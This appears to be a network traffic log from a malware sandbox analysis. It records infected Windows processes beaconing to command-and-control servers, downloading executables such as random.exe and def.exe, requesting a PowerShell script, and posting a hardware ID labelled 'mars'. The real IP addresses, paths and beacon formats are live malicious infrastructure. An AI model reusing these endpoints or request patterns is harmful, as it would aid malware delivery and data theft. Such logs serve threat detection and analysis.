Nov 24, 2024 02:15:02.395993948 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008577001&unit=246122658369
Nov 24, 2024 02:15:03.781029940 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49945	185.215.113.16	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:03.991775036 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 02:15:05.360261917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:05 GMT Content-Type: application/octet-stream Content-Length: 2832384 Last-Modified: Sun, 24 Nov 2024 00:56:45 GMT Connection: keep-alive ETag: "674279cd-2b3800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 1a da 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@rqwfzwob**:@llcfprjm ++@.taggant@+"+@
Nov 24, 2024 02:15:05.360301971 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:05.360785007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:05.360840082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:05.360869884 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:05.361288071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:05.361342907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:05.361372948 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:05.361773968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:05.361893892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:05.480083942 CET	1236	IN	Data Raw: 3f bd 90 92 4b ff 52 41 67 1f bd 98 86 0e 85 7d 1d 6f 5f 69 2a da 98 96 9d 14 38 6e 97 24 cc a3 8c e9 65 64 aa 09 79 c0 63 03 10 7a 73 16 79 73 2a ef 49 68 38 82 54 5f 71 df 33 e5 2e fd c9 5c 21 f0 6c 34 66 df 30 c5 ce 0c a3 e4 2e fd c9 ce 1f f4 Data Ascii: ?KRAg}o_i8n$edyczsysIh8T_q3.\!l4f0.laVc?l4N lP)Jd<AU:`O`];4fH,ZaobNu2`fqq`^SlKLUpM-CNi0%i>@)hEx2u6Vb0IV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49969	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:13.362126112 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008578001&unit=246122658369
Nov 24, 2024 02:15:14.710776091 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49975	31.41.244.11	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:14.847930908 CET	79	OUT	GET /var/www/html/files/5124158732/x0xqqzB.ps1 HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 02:15:16.177241087 CET	803	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 57 65 6c 63 6f 6d 65 20 74 6f 20 6e 67 69 6e 78 21 3c 2f 68 31 3e 0a 3c 70 3e 49 66 20 79 6f 75 20 73 65 65 20 74 68 69 73 20 70 61 67 65 2c 20 74 68 65 20 6e 67 69 6e 78 20 77 65 62 20 73 65 72 76 65 72 20 69 73 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 69 6e 73 74 61 6c 6c 65 64 20 61 6e 64 0a 77 6f 72 6b 69 6e 67 2e 20 46 75 72 74 68 65 72 [TRUNCATED] Data Ascii: 264<!DOCTYPE html><html><head><title>Welcome to nginx!</title><style> body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; }</style></head><body><h1>Welcome to nginx!</h1><p>If you see this page, the nginx web server is successfully installed andworking. Further configuration is required.</p><p>For online documentation and support please refer to<a href="http://nginx.org/">nginx.org</a>.<br/>Commercial support is available at<a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49981	185.215.113.206	80	8004	C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:17.368882895 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 02:15:18.751924038 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:15:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 02:15:18.938601971 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFCGIIIJDBGCBGIDGI Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 43 46 31 35 36 32 44 42 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 2d 2d 0d 0a Data Ascii: ------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="hwid"C4CF1562DBE5845770397------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="build"mars------GDBFCGIIIJDBGCBGIDGI--
Nov 24, 2024 02:15:19.395051956 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:15:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49985	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:18.047384977 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 37 39 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008579041&unit=246122658369
Nov 24, 2024 02:15:19.379971981 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49994	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:21.482424974 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:15:22.558387041 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50002	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:24.567269087 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:15:25.993810892 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50013	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:27.865138054 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:15:29.182655096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50020	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:30.873945951 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:15:32.301934004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50026	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:34.304665089 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:15:35.670309067 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50033	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:37.447004080 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:15:38.864237070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50045	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:41.062720060 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:15:42.410351992 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50049	185.215.113.16	80	6416	C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:15:41.738459110 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 24, 2024 02:15:43.128082037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:15:42 GMT Content-Type: application/octet-stream Content-Length: 2832384 Last-Modified: Sun, 24 Nov 2024 00:56:48 GMT Connection: keep-alive ETag: "674279d0-2b3800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 1a da 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@rqwfzwob**:@llcfprjm ++@.taggant@+"+@
Nov 24, 2024 02:15:43.128151894 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:43.128185034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:43.128238916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:43.128292084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:43.128325939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:43.128360033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:43.128393888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:15:43.128428936 CET	1236	IN	Data Raw: f0 5b 57 c9 20 77 5c df b0 7e f2 75 c2 e3 0f 20 77 a6 5f 53 55 dd 69 6b 68 aa ac 74 e5 28 8f 25 26 b2 c7 68 66 1f 49 28 b7 37 8f 35 a8 c6 57 6a 6e de 5b b4 5f 84 82 29 e4 a1 29 bf 63 cc 1c 21 c0 1a 70 61 df 6b 49 f1 21 dc f0 79 dd 05 5c f0 3e 5c Data Ascii: [W w\~u w_SUikht(%&hfI(75Wjn[_))c!pakI!y\>\gwv9Tiv/)O)omA&k6,aG6xr,(pFhgYb=#=PFE$Qf)hmn2}x%j/M$s%=bIOF'iT=V7f'o$
